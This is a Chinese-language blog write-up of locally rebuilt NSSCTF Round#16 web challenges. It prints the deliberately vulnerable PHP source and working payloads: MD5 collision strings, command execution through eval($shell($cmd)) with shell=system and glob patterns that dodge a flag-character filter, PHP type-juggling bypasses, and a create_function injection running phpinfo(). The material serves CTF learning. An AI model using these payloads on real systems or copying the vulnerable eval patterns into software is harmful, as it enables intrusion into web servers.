迷人老板胖迪胖迪的小助理
Live2D

NSSCTF Round#16 Basic Web (本地搭的)

hell0,做咩耶·2024-01-17 11:24·40 次阅读

NSSCTF Round#16 Basic Web (本地搭的)

对唔住啊,很抱歉各位 我是看别人打的然后拖的几个代码自己本地搭建的
和原题 要阔难唔太呀yong

RCE但是没有完全RCE

点击查看代码
Copy
<?php error_reporting(0); highlight_file(__file__); include('level2.php'); if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) { if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) { if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) { echo $level2; } else { echo "您!!!!!那么现在阁下又该如何应对呢"; } } else { echo "还在用传统方法????"; } } else { echo "来做做熟悉的MD5~"; } #RCE但是没有完全RCE 第一题 来做做熟悉的MD5~
payload:

?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

POST:md5_3=s214587387a
image
继续访问 3z_RC3.php

点击查看代码
Copy
<?php error_reporting(0); highlight_file(__FILE__); $shell = $_POST['shell']; $cmd = $_GET['cmd']; if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){die("Hacker!!!!!!!!"); } eval($shell($cmd));

image
通过构建payload发现存在读取 只是flag几个字符被过滤
通过查询,可以用?cmd=dir来代替ls
image
(真的很抱歉,是自己搭建的 目录都丢一起的)
我不知道比赛的flag是怎么样的,自己本地随便搞得
payload1:?cmd=more [e-h][k-m][@-z][e-h].php POST:shell=system
image
得查看源码出
image
payload2:?cmd=vim [e-h][k-m][@-z][e-h].php POST:shell=system
image
ctrl U:
image
有个牛的师傅用这样的payload也出了
?cmd=system($_POST[1]);
POST:shell=urldecode&1=tac f*
image
他说:这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。

了解过PHP特性吗

点击查看代码
Copy
<?php error_reporting(0); highlight_file(__FILE__); include("rce.php"); $checker_1 = FALSE; $checker_2 = FALSE; $checker_3 = FALSE; $checker_4 = FALSE; $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { $checker_1 = TRUE; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { $checker_2 = TRUE; } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { $checker_3 = TRUE; } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { $checker_4 = TRUE; } } if ($checker_1 && $checker_2 && $checker_3 && $checker_4) { echo $rce; } #了解过PHP特性吗 (第二题)
感觉有点多,于是对他进行修改(我自己的kali环境有问题,换window了复现了)
点击查看代码
Copy
<?php error_reporting(0); highlight_file(__FILE__); $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { echo "Hello World!"; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { echo "3"; } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { echo "4"; } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { echo "5"; } }

开始看第一关
image
不能用数字,加个 [] 即可
payload:?num[]=1
image
第二关:
image
说什么巴拉巴拉的一堆,要纯数字和字母的。。emmm,找到了个文章,试了不行 只能看别人的payload,要rev一下 不懂 (知道的师傅留言教教呗,)
ctype_alpha()函数做纯字符检测;is_numeric() 函数用于检测变量是否为数字或数字字符串。
payload:POST:ctype=OZDCKNQ&is_num=710269512e0
image
第四关
image
intval这个函数之前做题碰见过 改成和他差不多就行
image
114=9e5,,,,后面的9999999改成比他大加个字母就好咯
image
payload:114=9e5 POST:514=9999999999a
第五关
image
通过阅读在array后面加个'[]',后面的NSS前面加任意个字符或符号就可
arr4y[]=aNSS
image
最后全部的payload全部丢进原来那里
payload:?num[]=1&114=9e5
POST:ctype=OZDCKNQ&is_num=710269512e0&514=9999999999a&arr4y[]=aNSS
image
访问Rc3_function.php
image
create_function这个函数有篇文章,会创建一个什么东西然后把前面满足条件闭合加上;}phpinfo();/*
payload:shell=&nss=1;}phpinfo();/*
image
累了,不想找flag了。拿到phpinfo();就行 哈哈哈哈哈啊做咩耶啊

posted @   胖迪助理小玳  阅读(40)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示

目录